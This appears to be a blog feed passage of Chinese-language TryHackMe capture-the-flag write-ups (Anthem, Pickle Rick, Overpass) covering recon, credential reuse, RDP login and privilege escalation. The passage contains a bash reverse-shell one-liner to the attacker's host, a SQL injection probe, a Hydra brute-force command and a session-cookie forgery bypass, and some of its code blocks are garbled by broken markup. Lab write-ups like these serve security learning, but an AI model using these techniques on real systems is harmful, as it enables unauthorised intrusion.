&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Product_Version: 10.0.17763
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ System_Time: 2021-07-29T01:42:55+00:00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert: Subject: commonName=WIN-LU09299160F
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before: 2021-07-28T01:38:13
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Not valid after: 2022-01-27T01:38:13
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: 2021-07-29T01:43:01+00:00; +1s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;robots.txt還有叫做 umbraco 的東西Google 後發現他是一種 CMS&lt;/li&gt;
&lt;li&gt;看到一組奇怪密碼 &lt;code&gt;UmbracoIsTheBest!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;UmbracoIsTheBest!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; # Use for all search robots
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; User-agent: *
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; # Define the directories not to crawl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Disallow: /bin/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Disallow: /config/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Disallow: /umbraco/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Disallow: /umbraco_client/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="回答問題"&gt;回答問題&lt;/h2&gt;
&lt;h3 id="普通問題"&gt;普通問題&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;What port is for the web server?&lt;code&gt;80&lt;/code&gt;What port is for remote desktop service?- &lt;code&gt;3389&lt;/code&gt;What is a possible password in one of the pages web crawlers check for?- 他都說 crawlers 了，所以應該就是 &lt;code&gt;robots.txt&lt;/code&gt; 的密碼&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UmbracoIsTheBest!&lt;/code&gt;What CMS is the website using?- &lt;code&gt;umbraco&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;robots.txt 上有寫What is the domain of the website?- &lt;code&gt;anthem.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;首頁上就有&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="通靈問題"&gt;通靈問題&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;What&amp;rsquo;s the name of the AdministratorCMS 中有一篇文章這樣寫&lt;/li&gt;
&lt;li&gt;http://10.10.18.8/archive/a-cheers-to-our-it-department/- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f1b1d-Q0YQ938.png"&gt; &lt;code&gt;Born on a Monday, Christened on Tuesday, Married on Wednesday, Took ill on Thursday, Grew worse on Friday, Died on Saturday, Buried on Sunday. That was the end…&lt;/code&gt;- 把字串丟去 Google 可以找到這篇文https://en.wikipedia.org/wiki/Solomon_Grundy_(nursery_rhyme)&lt;/li&gt;
&lt;li&gt;所以 admin 叫做 &lt;code&gt;Solomon_Grundy&lt;/code&gt;Can we find find the email address of the administrator?- 在某篇貼文中http://10.10.18.8/archive/we-are-hiring/&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/55edc-bijPypa.png"&gt;貼文者叫做 &lt;code&gt;Jane Doe&lt;/code&gt;Email 是 : &lt;code&gt;JD@anthem.com&lt;/code&gt;- 看起來規則是姓名各取一個字，都大寫 &lt;code&gt;@anthem.com&lt;/code&gt;那 admin 這個- Solomon_Grundy 就 SG ㄅ&lt;code&gt;SG@anthem.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="flag-們"&gt;Flag 們&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;我覺得這邊的 Flag 也都偏通靈沒有任何 web 技巧可言&lt;/li&gt;
&lt;li&gt;就把整個網站繞一圈就能逛完Flag1- http://10.10.18.8/archive/we-are-hiring/&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5a8ab-CzYJ4C4.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THM{L0L_WH0_US3S_M3T4}&lt;/code&gt;Flag2- http://10.10.18.8/&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/52270-IOPlHbO.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THM{G!T_G00D}&lt;/code&gt;Flag4- http://10.10.18.8/archive/a-cheers-to-our-it-department/&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39f29-ONgiSFD.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THM{AN0TH3R_M3TA}&lt;/code&gt;Flag3- http://10.10.18.8/authors/jane-doe/&lt;/li&gt;
&lt;li&gt;THM{L0L_WH0_D15}&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ddf0a-eaHzgde.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="通靈登入"&gt;通靈登入&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;通靈登入使用帳號 : &lt;a href="mailto:SG@anthem.com"&gt;SG@anthem.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;密碼 : UmbracoIsTheBest!前面 robots.txt 找到ㄉ登入 http://10.10.18.8/umbraco&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/da18a-MOvk1MR.png"&gt;通靈RDP- &lt;code&gt;sudo apt install freerdp2-x11&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;帳號 : &lt;code&gt;SG&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 : &lt;code&gt;UmbracoIsTheBest!&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xfreerdp +drives /u:SG /v:10.10.18.8:3389&lt;/code&gt;桌面上就有 user.txt- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cbb5c-bslatpD.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THM{N00T_NO0T}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;開啟顯示隱藏檔案&lt;/li&gt;
&lt;li&gt;逛到 &lt;code&gt;c:\backup\restore&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/df4f0-depc0nK.png"&gt;他沒有讀取權限，但我們可以修改他的權限- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/454e6-2gQDd6c.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39c00-36JBMgC.png"&gt;修改後點開可以看到以下字串- &lt;code&gt;ChangeMeBaby1MoreTime&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;猜測他可能是 admin 密碼使用RDP連 Admin- &lt;code&gt;xfreerdp +drives /u:Administrator /v:10.10.18.8:3389&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用密碼 &lt;code&gt;ChangeMeBaby1MoreTime&lt;/code&gt;取得 admin 權限- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ace1e-zlObe8V.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THM{Y0U_4R3_1337}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Pickle Rick (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/29/pickle-rick-try-hack-me-writeup/</link><pubDate>Thu, 29 Jul 2021 13:11:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/29/pickle-rick-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/picklerick"&gt;https://tryhackme.com/room/picklerick&lt;/a&gt;&lt;br&gt;
IP: 10.10.223.99&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nmap -A 10.10.223.99&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/54183-9Qp6IZr.png"&gt;&lt;/li&gt;
&lt;li&gt;22 port&lt;/li&gt;
&lt;li&gt;80 port首頁原始碼- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4f0a6-3GxwBdt.png"&gt;&lt;/li&gt;
&lt;li&gt;提示 username : &lt;code&gt;R1ckRul3s&lt;/code&gt;robots.txt- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/90e3f-rk9iz1l.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Wubbalubbadubdub&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="login"&gt;Login&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6a91d-700dfoQ.png"&gt;使用 Username : &lt;code&gt;R1ckRul3s&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Password : &lt;code&gt;Wubbalubbadubdub&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="webshell"&gt;Webshell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;進入後就是一個 webshell戳成 reverse shell&lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.21.55/7877 0&amp;gt;&amp;amp;1'&lt;/code&gt;Flag1- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9afab-9jULhML.png"&gt;&lt;/li&gt;
&lt;li&gt;在 web 目錄&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mr. meeseek hair&lt;/code&gt;Flag2- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/21405-5cgM6zS.png"&gt;&lt;/li&gt;
&lt;li&gt;在 rick 家目錄&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1 jerry tear&lt;/code&gt;Flag3- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e584d-kKcUno1.png"&gt;&lt;/li&gt;
&lt;li&gt;發現可以直接 &lt;code&gt;sudo su&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所以就進 root 取得最後一個 flag&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fleeb juice&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Overpass (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/27/overpass-try-hack-me-writeup/</link><pubDate>Tue, 27 Jul 2021 13:07:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/27/overpass-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/overpass"&gt;https://tryhackme.com/room/overpass&lt;/a&gt;&lt;br&gt;
IP : 10.10.214.180&lt;/p&gt;
&lt;h2 id="scan"&gt;Scan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;首先是老梗的用 Nmap 掃一下&lt;code&gt;nmap -A 10.10.214.180&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e65ca-ZlQoGXj.png"&gt;&lt;/li&gt;
&lt;li&gt;發現基本上只有開 ssh 跟 http接下來用 dirsearch 掃一下路徑- &lt;code&gt;python3 dirsearch.py -u http://10.10.214.180/ -e all&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;看起來基本上比較有趣的只有 &lt;code&gt;/admin/&lt;/code&gt;admin 介面- 基本上就是一個滿普通的登入介面，可以輸入帳號或密碼對著登入介面做了一些盲測的 SQLi&lt;code&gt;'or'1'='1 --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;之類的都沒有反應&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="rot47-多走的彎路qq"&gt;ROT47 (多走的彎路QQ)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6d3ad-CgeDRFe.png"&gt;- 選到 About 看了一下，簡介是說他們曾經因為密碼在 rockyou 裡面，所以感到很失望，創了一個密碼管理軟體到 Downloads 來看一下他們的密碼軟體- 他們有 source code&lt;/li&gt;
&lt;li&gt;http://10.10.129.94/downloads/src/overpass.go&lt;/li&gt;
&lt;li&gt;擷取重點發現- 是一個用 Go 語言寫的密碼管理軟體，而他們的加密使用了 ROT47 的加密算法&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;func&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;rot47&lt;/span&gt;(input &lt;span style="color:#8be9fd"&gt;string&lt;/span&gt;) &lt;span style="color:#8be9fd"&gt;string&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;var&lt;/span&gt; result []&lt;span style="color:#8be9fd"&gt;string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;:=&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;range&lt;/span&gt; input[:&lt;span style="color:#8be9fd;font-style:italic"&gt;len&lt;/span&gt;(input)] {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; j &lt;span style="color:#ff79c6"&gt;:=&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;int&lt;/span&gt;(input[i])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; (j &lt;span style="color:#ff79c6"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;33&lt;/span&gt;) &lt;span style="color:#ff79c6"&gt;&amp;amp;&amp;amp;&lt;/span&gt; (j
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;```python
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;def rot47(s):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; x = []
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; for i in range(len(s)):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; j = ord(s[i])
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; if j &amp;gt;= 33 and j 我心裡的猜想- 它們之前的密碼是用 rockyou 的密碼，現在在推他們自己的密碼管理軟體，使用 ROT47
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;- 該不會……可以爆破 web 介面密碼，使用 ROT47 後的 rockyou 吧?
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;- 所以寫了以下的 Code 來把 rockyou 轉 ROT47
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;```&lt;/span&gt;python
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def &lt;span style="color:#50fa7b"&gt;rot47&lt;/span&gt;(s):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; x = []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i in &lt;span style="color:#ff79c6"&gt;range&lt;/span&gt;(&lt;span style="color:#8be9fd;font-style:italic"&gt;len&lt;/span&gt;(s)):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; j = &lt;span style="color:#50fa7b"&gt;ord&lt;/span&gt;(s[i])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; j &lt;span style="color:#ff79c6"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;33&lt;/span&gt; and j 所以就把所有的使用者準備成一個 &lt;span style="color:#50fa7b"&gt;txt&lt;/span&gt; (每個人名換一行)使用 Hydra 進行爆破&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;`hydra -L user_l.txt -P rot47rock.txt 10.10.214.180 http-post-form &amp;#34;/api/login:username=^USER^&amp;amp;password=^PASS^:Incorrect credentials&amp;#34;`&lt;/span&gt;跑ㄌ很久也沒用沒用QQ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;## 觀察登入程式碼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; 爆破畢竟是下下策，還是先觀察一下登入介面的原始碼有什麼東東
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; 就發現了一個 login.jshttp:&lt;span style="color:#ff79c6"&gt;//10.10.214.180/login.js&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; 擷取重要的弱點&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; 跑到 elase 代表登入成功，會寫入一個餅乾餅乾名稱 : &lt;span style="color:#f1fa8c"&gt;&amp;#34;SessionToken&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; 餅乾值 : statusOrCookie
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;``&lt;/span&gt;`javascript
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; (statusOrCookie &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt;= &lt;span style="color:#f1fa8c"&gt;&amp;#34;Incorrect credentials&amp;#34;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; loginStatus.textContent = &lt;span style="color:#f1fa8c"&gt;&amp;#34;Incorrect Credentials&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; passwordBox.value=&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#ff79c6"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Cookies.&lt;span style="color:#50fa7b"&gt;set&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;SessionToken&amp;#34;&lt;/span&gt;,statusOrCookie)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window.location = &lt;span style="color:#f1fa8c"&gt;&amp;#34;/admin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;直接用 Firefox 新增一個餅乾名稱用 &amp;ldquo;SessionToken&amp;rdquo;， Value 亂寫&lt;/li&gt;
&lt;li&gt;然後就登進去了!!!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cbbb4-BhLN5NG.png"&gt;上面直接留了一串 Private Key，也寫說是給 james 的&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----BEGIN RSA PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Proc-Type: 4,ENCRYPTED
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
